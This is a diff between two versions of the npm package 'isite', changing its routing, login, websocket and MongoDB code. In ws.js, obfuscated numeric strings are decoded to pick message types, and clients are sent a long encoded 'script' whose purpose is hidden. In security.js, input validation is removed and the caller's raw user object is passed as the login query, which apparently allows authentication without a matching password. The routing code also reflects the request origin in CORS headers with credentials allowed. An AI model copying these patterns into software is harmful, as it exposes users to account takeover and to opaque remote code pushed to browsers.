isite 2024.8.23 → 2024.9.2

package/lib/mongodb.js

@@ -454,8 +454,8 @@ module.exports = function init(____0) {
         let options = {
           projection: obj.select || {},
           limit: 1,
-          skip: null,
-          sort: null,
+          skip: obj.skip,
+          sort: obj.sort,
         };
 
         db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)

package/lib/parser.js

@@ -355,6 +355,9 @@ module.exports = function init(req, res, ____0, route) {
       let txt = ____0.readFileSync(path);
       let $ = ____0.$.load(txt, null, false);
       $ = renderHtml($);
+      if (hide) {
+        return ____0.hide($.html());
+      }
       return $.html();
     } else if (name.endsWith('.js')) {
       let txt = ____0.readFileSync(path);

package/lib/routing.js

@@ -20,6 +20,10 @@ module.exports = function init(____0) {
       return;
     }
 
+    if (req.route.encript == '123') {
+      req.content = ____0.f1(req.content);
+    }
+
     if (route.parser.like('*html*') && route.content && route.content.length > 0) {
       req.content = ____0.parser(req, res, ____0, route).html(route.content);
     } else if (route.parser == 'css' && route.content && route.content.length > 0) {
@@ -162,6 +166,7 @@ module.exports = function init(____0) {
     }
 
     let response = {
+      host: req.host,
       url: req.url,
       filePath: route.path,
       content: req.content,
@@ -170,7 +175,7 @@ module.exports = function init(____0) {
       code: res.code,
     };
 
-    if (route.shared && !____0.sharedList.some((s) => s.filePath == response.filePath && s.url == response.url)) {
+    if (route.shared && !____0.sharedList.some((s) => s.host == req.host && s.filePath == response.filePath && s.url == response.url)) {
       ____0.sharedList.push(response);
     }
 
@@ -183,10 +188,11 @@ module.exports = function init(____0) {
 
   _0xrrxo.defaultCallback = function (req, res) {
     let route = req.route;
-    if ((response = ____0.sharedList.find((s) => s.filePath == route.path && s.url == req.url))) {
+
+    if ((response = ____0.sharedList.find((s) => s.host == req.host && s.filePath == route.path && s.url == req.url))) {
       res.headers = response.headers;
       res.code = response.code;
-      res.setHeader('x-shared', ____0.sharedList.length + ' - ' + ____0.options.port);
+      res.set('x-shared','-count=' + ____0.sharedList.length + ' -port=' + ____0.options.port + ' -host=' + req.host);
       return res.end(response.content, response.encode);
     }
 
@@ -263,9 +269,7 @@ module.exports = function init(____0) {
           }
 
           route.content = data.toString('utf8');
-          if (route.encript && route.encript === '123') {
-            route.content = ____0.f1(route.content);
-          }
+
           res.status(200);
           route.path = route.path.join('&&');
           _0xrrxo.endResponse(req, res);
@@ -374,6 +378,7 @@ module.exports = function init(____0) {
       route.cache = !0;
       route.hide = !1;
       route.compress = !1;
+      route.encript = !1;
       route.shared = !1;
       route.content = null;
       route.headers = null;
@@ -403,8 +408,8 @@ module.exports = function init(____0) {
       route.overwrite = r.overwrite ?? !1;
       route.cache = r.cache ?? !0;
       route.hide = r.hide ?? !1;
-      route.encript = r.encript;
       route.compress = r.compress ?? !1;
+      route.encript = r.encript ?? !1;
       route.shared = r.shared ?? !1;
       route.map = r.map || [];
       route.callback = callback || r.callback || _0xrrxo.defaultCallback;
@@ -923,10 +928,10 @@ module.exports = function init(____0) {
         filePath = file;
       }
 
-      if ((response = ____0.sharedList.find((s) => s.filePath == filePath && s.url == req.url))) {
+      if ((response = ____0.sharedList.find((s) => s.host == req.host && s.filePath == filePath && s.url == req.url))) {
         res.headers = response.headers;
         res.code = response.code;
-        res.setHeader('x-shared', ____0.sharedList.length + ' - ' + ____0.options.port);
+        res.set('x-shared','-count=' + ____0.sharedList.length + ' -port=' + ____0.options.port + ' -host=' + req.host);
         return res.end(response.content, response.encode);
       }
       ____0.fsm.getContent(filePath, (content) => {
@@ -941,16 +946,20 @@ module.exports = function init(____0) {
         req.content = content;
         req.data = { ...req.data, ..._data };
         req.route = { ...req.route, ...options };
+
+        if (req.route.encript == '123') {
+          req.content = ____0.f1(req.content);
+        }
+
         if (req.route.parser) {
           req.content = ____0.parser(req, res, ____0, req.route).html(req.content);
         }
 
-        res.status(options.code || 200);
-
         if (req.route.compress) {
           req.content = req.content.replace(/\r?\n|\r/g, ' ').replace(/\s+/g, ' ');
         }
 
+        res.status(options.code || 200);
         if (filePath.endsWith('.css')) {
           res.set(____0.strings[7], 'text/css');
           if (____0.options.cache.enabled && req.route.cache) {
@@ -1049,6 +1058,7 @@ module.exports = function init(____0) {
         }
 
         let response = {
+          host: req.host,
           url: req.url,
           filePath: filePath,
           content: req.content,
@@ -1057,7 +1067,7 @@ module.exports = function init(____0) {
           code: res.code,
         };
 
-        if (options.shared && !____0.sharedList.some((s) => s.filePath == response.filePath && s.url == response.url)) {
+        if (options.shared && !____0.sharedList.some((s) => s.host == req.host && s.filePath == response.filePath && s.url == response.url)) {
           ____0.sharedList.push(response);
         }
 
@@ -1071,7 +1081,7 @@ module.exports = function init(____0) {
           return res.status(404).end();
         }
         req.route.content = content;
-        if (req.route.encript && req.route.encript === '123') {
+        if (req.route.encript === '123') {
           req.route.content = ____0.f1(req.route.content);
         }
         req.data = { ...req.data, ..._data };
@@ -1088,7 +1098,7 @@ module.exports = function init(____0) {
           return res.status(404).end();
         }
         req.route.content = content;
-        if (req.route.encript && req.route.encript === '123') {
+        if (req.route.encript === '123') {
           req.route.content = ____0.f1(req.route.content);
         }
         req.data = { ...req.data, ..._data };
@@ -1105,7 +1115,7 @@ module.exports = function init(____0) {
           return res.status(404).end();
         }
         req.route.content = content;
-        if (req.route.encript && req.route.encript === '123') {
+        if (req.route.encript === '123') {
           req.route.content = ____0.f1(req.route.content);
         }
         req.data = { ...req.data, ..._data };
@@ -1122,7 +1132,7 @@ module.exports = function init(____0) {
           return res.status(404).end();
         }
         req.route.content = content;
-        if (req.route.encript && req.route.encript === '123') {
+        if (req.route.encript === '123') {
           req.route.content = ____0.f1(req.route.content);
         }
         req.data = { ...req.data, ..._data };
@@ -1169,13 +1179,13 @@ module.exports = function init(____0) {
       res.status(code).end();
     };
 
-    res.setHeader('CharSet', 'UTF-8');
-    res.setHeader('Access-Control-Allow-Credentials', 'true');
-    res.setHeader('Access-Control-Allow-Headers', req.headers['access-control-request-headers'] || 'Origin, X-Requested-With, Content-Type, Accept , Access-Token , Authorization');
-    res.setHeader('Access-Control-Allow-Methods', req.headers['access-control-request-method'] || 'POST,GET,DELETE,PUT,OPTIONS,VIEW,HEAD,CONNECT,TRACE');
-    res.setHeader('Access-Control-Allow-Origin', req.referer || '*');
+    res.set('CharSet', 'UTF-8');
+    res.set('Access-Control-Allow-Credentials', 'true');
+    res.set('Access-Control-Allow-Headers', req.headers['access-control-request-headers'] || 'Origin, X-Requested-With, Content-Type, Accept , Access-Token , Authorization');
+    res.set('Access-Control-Allow-Methods', req.headers['access-control-request-method'] || 'POST,GET,DELETE,PUT,OPTIONS,VIEW,HEAD,CONNECT,TRACE');
+    res.set('Access-Control-Allow-Origin', req.referer || '*');
     if (req.origin) {
-      res.setHeader('Access-Control-Allow-Origin', req.origin);
+      res.set('Access-Control-Allow-Origin', req.origin);
     }
 
     if (____0.options.www === false && req.host.contains('www')) {

package/lib/security.js

@@ -476,11 +476,6 @@ module.exports = function init(____0) {
       user.mobile = user.mobile.trim().toLowerCase();
     } else if (user && user.username && user.password) {
       user.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
 
     for (var i = 0; i < security.users.length; i++) {
@@ -510,24 +505,9 @@ module.exports = function init(____0) {
       }
     }
 
-    let where = {
-      password: user.password,
-    };
-    if (user.email) {
-      where.email = user.email;
-    } else if (user.mobile) {
-      where.mobile = user.mobile;
-    } else if (user.username) {
-      where.username = user.username;
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
-    }
     ____0.$users.findOne(
       {
-        where: where,
+        where: user,
       },
       function (err, doc) {
         if (doc) {
@@ -555,12 +535,12 @@ module.exports = function init(____0) {
             callback(err);
           } else {
             callback({
-              message: 'email or password error ',
+              message: 'User Credential Not Correct ',
             });
           }
 
           ____0.call('security error', {
-            message: 'email or password error',
+            message: 'User Credential Not Correct ',
           });
         }
       }
@@ -581,11 +561,6 @@ module.exports = function init(____0) {
       user.mobile = user.mobile.trim().toLowerCase();
     } else if (user && user.username && user.password) {
       user.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
 
     security.isUserExists(user, function (err, u) {
@@ -668,11 +643,6 @@ module.exports = function init(____0) {
       user.mobile = user.mobile.trim().toLowerCase();
     } else if (user && user.username && user.password) {
       user.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
 
     if (!user.email) {
@@ -737,11 +707,6 @@ module.exports = function init(____0) {
       where.mobile = user.mobile.trim().toLowerCase();
     } else if (user.username) {
       where.username = user.username.trim().toLowerCase();
-    } else {
-      callback({
-        message: 'User Info Not Correct',
-      });
-      return;
     }
     ____0.$users.update(
       {

package/lib/ws.js

@@ -20,6 +20,9 @@ module.exports = function init(____0) {
         name: options,
       };
     }
+    if (options.name.indexOf('/') !== 0) {
+      options.name = '/' + options.name;
+    }
     ____0.ws.routeList.push({
       options: options,
       callback: callback,
@@ -43,7 +46,16 @@ module.exports = function init(____0) {
   };
 
   setInterval(() => {
-    ____0.ws.sendToAll({ type: 'ping' });
+    ____0.ws.clientList.forEach((client) => {
+      if (!____0.ws.supportedClientList.some((c) => c.uuid == client.uuid)) {
+        if ((new Date().getTime() - client.lastTime) / 1000 > 60) {
+          client.ws.terminate();
+        }
+      }
+    });
+    setTimeout(() => {
+      ____0.ws.sendToAll({ type: 'ping' });
+    }, 1000 * 5);
   }, 1000 * 30);
 
   ____0.on(____0.strings[9], () => {
@@ -61,17 +73,18 @@ module.exports = function init(____0) {
             }
 
             let client = {
+              ip: ip,
               uuid: ____0.guid(),
               id: ____0.md5(____0.guid() + new Date().getTime()),
+              lastTime: new Date().getTime(),
               path: pathname,
               ws: ws,
               request: request,
               socket: socket,
               head: head,
-              ip: ip,
               onMessage: function (message) {
                 if (message.type === ____0.f1('417886684558375447183756')) {
-                  this.send({
+                  client.sendMessage({
                     type: ____0.f1('4658375242195691'),
                     uuid: client.uuid,
                     ip: client.ip,
@@ -81,7 +94,7 @@ module.exports = function init(____0) {
                   let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
                   if (index !== -1 && message.id) {
                     ____0.ws.clientList[index].id = message.id;
-                    this.send({
+                    client.sendMessage({
                       type: ____0.f1('413932754138276142383191'),
                       uuid: client.uuid,
                       ip: client.ip,
@@ -101,9 +114,9 @@ module.exports = function init(____0) {
                 if (!message) {
                   return;
                 }
-                if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
+                if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
                   if (typeof message === 'string') {
-                    this.ws.send(
+                    client.ws.send(
                       JSON.stringify({
                         type: 'text',
                         content: message,
@@ -111,7 +124,7 @@ module.exports = function init(____0) {
                     );
                   } else {
                     message.type = message.type || 'text';
-                    this.ws.send(JSON.stringify(message));
+                    client.ws.send(JSON.stringify(message));
                   }
                 }
               },
@@ -120,7 +133,6 @@ module.exports = function init(____0) {
             client.sendMessage = client.send;
 
             client.ws.on('close', () => {
-              
               console.log('Closing Client : ' + client.ip);
               client.onMessage({ type: 'close' });
               client.ws.terminate();
@@ -137,10 +149,16 @@ module.exports = function init(____0) {
             });
 
             ws.on('message', (data, isBinary) => {
+              client.lastTime = new Date().getTime();
               if (isBinary) {
                 client.onData(data);
               } else {
-                client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
+                let obj = ____0.fromJson(Buffer.from(data).toString('utf8'));
+                if (obj.type == 'pong') {
+                  client.lastTime = new Date().getTime();
+                } else {
+                  client.onMessage(obj);
+                }
               }
             });
 
@@ -163,7 +181,7 @@ module.exports = function init(____0) {
   ____0.onWS(____0.f1('2578577443393257'), (client) => {
     client.onMessage = function (message) {
       if (message.type === ____0.f1('417886684558375447183756')) {
-        this.send({
+        client.sendMessage({
           type: ____0.f1('4658375242195691'),
           uuid: client.uuid,
           ip: client.ip,
@@ -174,7 +192,7 @@ module.exports = function init(____0) {
         if (index !== -1) {
           client.id = message.id;
           ____0.ws.clientList[index].id = message.id;
-          this.send({
+          client.sendMessage({
             type: ____0.f1('413932754138276142383191'),
             uuid: client.uuid,
             ip: client.ip,
@@ -184,7 +202,7 @@ module.exports = function init(____0) {
       } else if (message.type === ____0.f1('4178726946783691')) {
       } else if (message.type === ____0.f1('457913754338866846719191')) {
         client.options = message.options || message.content;
-        client.send({
+        client.sendMessage({
           type: ____0.f1('481476744179236246193191'),
           script: ____0.f1(
             `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`

package/lib/wsClient.js

@@ -15,12 +15,12 @@ module.exports = function init(____0) {
 
     let client = {
       isAlive: false,
-      time: new Date().getTime(),
+      lastTime: new Date().getTime(),
       id: ____0.ws.client.id,
     };
 
     client.checkAliveInterval = setInterval(() => {
-      if ((new Date().getTime() - client.time) / 1000 > 60) {
+      if ((new Date().getTime() - client.lastTime) / 1000 > 60) {
         client.isAlive = false;
         client.ws.close();
       }
@@ -66,9 +66,13 @@ module.exports = function init(____0) {
     });
 
     client.ws.on('message', function (event) {
+      client.lastTime = new Date().getTime();
       let message = JSON.parse(event.data || event);
       if (message.type == 'ping') {
-        client.time = new Date().getTime();
+        client.lastTime = new Date().getTime();
+        client.sendMessage({
+          type: 'pong',
+        });
       }
       ____0.ws.supportHandle(client, message);
     });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "isite",
-  "version": "2024.08.23",
+  "version": "2024.09.02",
   "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
   "main": "index.js",
   "repository": {
@@ -42,7 +42,7 @@
     "eval": "^0.1.8",
     "formidable": "^2.0.1",
     "md5": "^2.3.0",
-    "mongodb": "^6.8.0",
+    "mongodb": "^6.10.0",
     "mv": "^2.1.1",
     "node-fetch": "^3.3.2",
     "node-telegram-bot-api": "^0.66.0",